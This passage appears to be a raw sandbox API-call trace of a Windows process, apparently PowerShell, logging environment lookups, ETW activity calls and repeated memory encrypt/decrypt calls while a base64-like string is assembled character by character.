[2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.071] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae604, nSize=0x100 | out: lpBuffer="\x9fcb\x72b0\xadb8\x667\x1082\x73b6\xbab0\x42f\x108e\x73b6\xe63c\x99a\xc37\x72b2\xadb8\x667\x0b") returned 0x0 [0138.071] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9dc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3a, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.071] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae93c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae93c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x38, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.071] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3a, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3a, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.072] SysStringLen (param_1="") returned 0x8 [0138.072] SysStringLen (param_1="Y") returned 0x8 [0138.072] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.072] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0138.072] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0138.072] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.072] SysStringLen (param_1="YW") returned 0x8 [0138.072] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.072] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0138.072] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0138.072] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.072] SysStringLen (param_1="YWM") returned 0x8 [0138.072] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.072] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0138.072] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0138.072] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.072] SysStringLen (param_1="YWM1") returned 0x8 [0138.072] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.072] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0138.072] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0138.073] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.073] SysStringLen (param_1="YWM1O") returned 0x8 [0138.073] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.073] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0138.073] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0138.073] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.073] SysStringLen (param_1="YWM1OT") returned 0x8 [0138.073] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.073] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0138.073] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0138.073] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.073] SysStringLen (param_1="YWM1OTE") returned 0x8 [0138.073] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.073] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0138.073] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0138.073] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.073] SysStringLen (param_1="YWM1OTEw") returned 0x8 [0138.073] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.074] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0138.074] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0138.074] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0138.074] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x10 [0138.074] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.074] SysStringLen (param_1="YWM1OTEwYၺ೮䏍뇟㫃鄏") returned 0x10 [0138.074] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.074] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0138.074] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0138.074] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.074] SysStringLen (param_1="YWM1OTEwYW೮䏍뇟㫃鄏") returned 0x10 [0138.074] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.074] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0138.074] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0138.074] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.074] SysStringLen (param_1="YWM1OTEwYWQ೮䏍뇟㫃鄏") returned 0x10 [0138.074] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.074] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0138.075] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0138.075] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.075] SysStringLen (param_1="YWM1OTEwYWQ4䏍뇟㫃鄏") returned 0x10 [0138.075] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.075] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0138.075] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0138.075] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.075] SysStringLen (param_1="YWM1OTEwYWQ4Z뇟㫃鄏") returned 0x10 [0138.075] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.075] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0138.075] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0138.075] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.075] SysStringLen (param_1="YWM1OTEwYWQ4ZT㫃鄏") returned 0x10 [0138.075] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.075] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0138.075] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0138.075] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.075] SysStringLen (param_1="YWM1OTEwYWQ4ZTI鄏") returned 0x10 [0138.075] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.076] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0138.076] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0138.076] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.076] SysStringLen (param_1="YWM1OTEwYWQ4ZTIz") returned 0x10 [0138.076] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.076] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0138.076] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0138.076] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0138.076] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x18 [0138.076] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.076] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNEꂰ㓋뺍᳧玡") returned 0x18 [0138.076] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.076] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0138.076] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0138.076] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.076] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGꂰ㓋뺍᳧玡") returned 0x18 [0138.076] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.077] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0138.077] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0138.077] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.077] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGN㓋뺍᳧玡") returned 0x18 [0138.077] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.077] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0138.077] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0138.077] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.077] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNh㓋뺍᳧玡") returned 0x18 [0138.077] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.077] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0138.077] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0138.077] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.077] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhM뺍᳧玡") returned 0x18 [0138.077] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.077] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0138.077] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0138.077] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.078] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMj᳧玡") returned 0x18 [0138.078] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.078] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0138.078] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0138.078] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.078] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjF玡") returned 0x18 [0138.078] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.078] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0138.078] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0138.078] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.078] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFm") returned 0x18 [0138.078] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.078] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0138.078] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0138.078] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0138.078] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x20 [0138.078] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.078] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmN쿼沓ꇑ੎촢럝") returned 0x20 [0138.079] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.079] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0138.079] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0138.079] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.079] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNm쿼沓ꇑ੎촢럝") returned 0x20 [0138.079] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.079] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0138.079] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0138.079] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.079] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI沓ꇑ੎촢럝") returned 0x20 [0138.079] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.079] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0138.079] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0138.079] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.079] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3ꇑ੎촢럝") returned 0x20 [0138.079] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.079] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0138.079] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0138.079] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.079] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3Y੎촢럝") returned 0x20 [0138.080] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.080] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0138.080] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0138.080] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.080] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YT촢럝") returned 0x20 [0138.080] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.080] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0138.080] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0138.080] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.080] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZ럝") returned 0x20 [0138.080] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.080] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0138.080] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0138.080] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.080] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZl") returned 0x20 [0138.080] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.081] SysStringLen 